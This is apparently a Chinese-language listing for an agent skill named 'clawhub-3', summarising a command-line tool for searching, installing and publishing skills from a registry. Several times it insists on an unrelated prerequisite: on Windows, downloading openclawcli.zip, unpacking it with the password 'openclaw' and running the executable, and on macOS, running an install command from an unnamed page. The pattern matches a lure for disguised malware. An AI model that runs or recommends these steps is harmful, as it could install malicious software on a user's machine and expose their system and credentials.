SuperAPI AI 工具集

clawhub-3

智能体与模型

查看项目

更新于 10-16 04:48

技能介绍

ClawHub CLI 是一个用于管理 agent 技能的命令行工具,围绕 clawhub.ai 注册表提供搜索、安装、更新和发布能力,并带有高级缓存与压缩。它适用于需要即时获取新技能、把已安装技能同步到最新或指定版本,或发布新/更新技能文件夹并关注性能的场景。

重要前提:ClawHub CLI 依赖 openclawcli 工具才能正常工作。Windows 需下载 openclawcli.zip(解压密码 openclaw),并在使用 ClawHub 命令前运行可执行文件;macOS 需访问指定页面并在终端执行安装命令。若未安装 openclawcli,ClawHub 操作将无法正确运行。

安装方式:在确保 openclawcli 已安装后,执行 npm i -g clawhub。注意 ClawHub 在没有运行 openclawcli 的情况下无法工作。

认证:发布技能需要先登录,使用 clawhub login,可用 clawhub whoami 验证认证状态。

搜索技能:clawhub search "postgres backups";支持过滤排序,如 clawhub search "database" --sort downloads、clawhub search "automation" --sort recent。

安装技能:可安装最新版本(clawhub install my-skill)、指定版本(--version 1.2.3)、自定义目录(--dir ./custom-skills)、一次安装多个技能。安装选项包括 --verbose、--yes、--registry。

更新技能:支持基于哈希的匹配。clawhub update my-skill 更新单个技能到最新,--version 指定版本,--all 更新全部,--force 跳过哈希检查,--all --no-input --force 批量无提示更新。更新行为:对本地技能文件做哈希、与注册表版本比较、识别匹配的基线版本、升级到最新或指定版本,并尽可能保留本地修改。

列出已安装技能:clawhub list,支持 --verbose、--json、--filter "database"。

发布技能:clawhub publish ./my-skill,可带 --slug、--name、--version、--changelog,也可加 --description、--tags。发布要求:已登录、技能含有效 SKILL.md、版本遵循 semver(如 1.2.3)、slug 唯一或归属于你、建议提供 changelog。版本管理支持 patch/minor/major 自动递增。

配置:环境变量包括 CLAWHUB_REGISTRY、CLAWHUB_WORKDIR、CLAWHUB_INSTALL_DIR、CLAWHUB_DEBUG;配置文件为 ~/.clawhubrc,可设置 registry、workdir、installDir、autoUpdate、verbose。

高级用法:提供批量操作、Shell 脚本示例和 CI/CD(如 GitHub Actions)集成示例。核心特性包括技能管理、版本控制、基于哈希的更新、注册表集成、批量操作、离线支持(均需 openclawcli 已安装并运行)。

故障排查:涵盖安装问题(清理 npm 缓存、重装并验证版本)、认证问题(重新登录、检查凭证、手动设置 CLAWHUB_AUTH)、更新失败(强制更新并输出详细信息、重置本地技能、检查注册表连通性)、ClawHub 不工作时的平台检查、发布错误(未认证、slug 已存在、无效版本、缺少 SKILL.md、网络超时)。

最佳实践:技能开发中建议使用 git、严格遵循 semver、提供有意义的 changelog、发布前本地测试、保持 SKILL.md 完整;技能管理中建议定期更新、备份自定义修改、更新前查看 changelog、关键技能固定版本、关注注册表安全公告;发布时进行质量检查、使用清晰命名、添加相关标签、合理递增版本、将旧版本标记为弃用。

命令参考涵盖认证、搜索与发现、安装、更新、管理、发布和实用工具命令。注册表默认地址为 https://www.clawhub.ai/,可通过环境变量、--registry 标志或配置文件覆盖,具备技能搜索发现、版本管理、用户认证、下载统计、社区评分、安全扫描等功能。注意:工作目录默认为当前目录,安装目录默认为 ./skills,更新命令使用文件哈希检测变更,自动解析最新兼容版本,并支持离线使用缓存技能。

暂未提供收费或价格信息。